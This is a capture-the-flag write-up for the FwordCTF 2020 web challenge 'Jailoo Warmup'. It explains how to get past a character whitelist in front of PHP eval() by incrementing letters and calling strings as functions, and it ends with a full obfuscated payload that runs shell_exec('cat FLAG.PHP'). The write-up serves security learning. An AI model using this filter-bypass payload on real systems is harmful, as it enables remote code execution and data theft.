Rating: 5.0

# Jailoo Warmup (Web)

We have a webpage containing a form with a text input box and a submit button. We are also given this fragment of backend code:
php
Command executed !</div>";
eval($cmd); }else{ die("<div class=\"error\">NOT ALLOWED !</div>"); } }else{ die("<div class=\"error\">NOT ALLOWED !</div>"); } }else if ($_SERVER['REQUEST_METHOD']!="GET"){
die("<div class=\"error\">NOT ALLOWED !</div>");
}
?>

Finally, we are told that the flag is in FLAG.PHP.

It seems like the text we input will be directly executed as PHP code, but with restrictions: we can only use the characters $()_[]=;+".. Otherwise the server will return an error message. Let's look at what we have. $ allows us to define and reference variables. _ is the only character we have that is valid in a variable name, so all our variables must be named $_, $__, $___, etc. () can be used for grouping. [] lets us write array literals and perform indexing. = can be used for assignment or the == operator. ; is used to terminate statements. + can be used for the + and ++ operators. " is for string literals, and . is the string concatenation operator. First of all, we can express 1 as []==[]. If we have two numbers, we can also represent their sum using the + operator. To get strings, we can use the . operator with arrays which converts them to strings. [].[] evaluates to "ArrayArray". To get individual characters, we can use [] to index into the string, with the index constructed using numbers as described above. Adding a number to a character does not do anything. However, if we have a variable containing a letter, and we apply the ++ operator on the variable, it becomes the next letter. For instance, if we have $_ has value 'a' and we run $_++; then $_ will have value 'b' afterwards. Note that this only works for (both lowercase and uppercase) letters. It does not work for any non-letter characters. Using this method, we can encode all letter strings, by starting with one of the letters in "ArrayArray" and continuously incrementing it.

PHP has an interesting feature where you can call strings as functions. The expression ("func")(x) is the same as func(x), i.e., when a string is called as a function, PHP finds the function in the current environment whose name is the string and calls that function with the given arguments. This allows us to programmatically construct the names of functions that we want to call, so that we don't have to refer to functions using their literal name (which would have letters and therefore would not be allowed). We can already encode any letter using the allowed characters (as well as "_" which is trivial), and we can concatenate letters together using ., so we can encode any single-argument function call, assuming that the argument is also encodable, and that the function name is composed of only letters and _. We cannot encode multi-argument function calls because , is not allowed.

However, at this point we still can only have letters and the allowed characters in strings. To be able to represent *any* character in a string, we can use the chr function. chr converts a character code into its corresponding character; for example, chr(97) is "a". Since we can already represent any number, all we need to do is construct the character code and then call chr using the trick described above, where we encode "chr" and then call it on the number.

Now we need to think about what we want the exploit code to do. We need it to have output so that we can see the result on the returned HTML page. The standard way to do that in PHP is with echo. However, echo is a statement, not a function, so we cannot invoke it using the string calling trick. Luckily, PHP has actual functions which perform output as well; I came across the print_r function, which "prints human-readable information about a variable". For our purposes, it does the same thing as echo.

Once we have all this set up, we can try reading FLAG.PHP. I tried using the file_get_contents, but it didn't work. In fact, any PHP function involving file I/O, such as file_exists or scandir, didn't work. It seems like they disabled these functions to make the challenge harder. But found a function that *did* work: shell_exec. It takes a shell command, runs it, and returns the result as a string. Using this, we can read the file simply by calling shell_exec("cat FLAG.PHP"). (And we can do a lot of other things as well!) Therefore, the solution is to encode print_r(shell_exec("cat FLAG.PHP"));.

To perform the actual encoding, I wrote a Python script. At first, I used the most straighforward method of first obtaining the string "chr" using the incrementing method on a counter variable, then representing every character as ("chr")(1+1+1+...+1) where each 1 is ([]==[]). This resulted in very long generated code. When I tried submitting it, it would fail with an error, even though the code only contained the allowed characters. Upon further experimentation, it turned out that the preg_match_all function silently fails if the input is over 2047 characters long. So I needed to make the script more sophisticated to optimize the size of the generated code. In the end, I decided to create variables holding the powers of 2. Each variable is the sum of two of the previous one, and the first one is []==[]. Then any character code can be represented efficiently as the sum of certain powers of 2. This allowed the code size to be well within the limit, and I obtained the flag. It turned out that FLAG.PHP had the flag inside a HTML comment, so I couldn't see it on the page at first and had to open developer tools to see it.

The output of the script is:

$__=[]==[];$_=([].[])[$__+$__+$__];$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$____=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$____.$_;$___=$__+$__;$____=$___+$___;$_____=$____+$____;$______=$_____+$_____;$_______=$______+$______;$________=$_______+$_______;($_($______+$_______+$________).$_($___+$______+$_______+$________).$_($__+$_____+$_______+$________).$_($___+$____+$_____+$_______+$________).$_($____+$______+$_______+$________)."_".$_($___+$______+$_______+$________))(($_($__+$___+$______+$_______+$________).$_($_____+$_______+$________).$_($__+$____+$_______+$________).$_($____+$_____+$_______+$________).$_($____+$_____+$_______+$________)."_".$_($__+$____+$_______+$________).$_($_____+$______+$_______+$________).$_($__+$____+$_______+$________).$_($__+$___+$_______+$________))($_($__+$___+$_______+$________).$_($__+$_______+$________).$_($____+$______+$_______+$________).$_($_______).$_($___+$____+$________).$_($____+$_____+$________).$_($__+$________).$_($__+$___+$____+$________).".".$_($______+$________).$_($_____+$________).$_($______+$________)));


Original writeup (https://github.com/qsctr/ctf/tree/master/FwordCTF-2020/Jailoo_Warmup).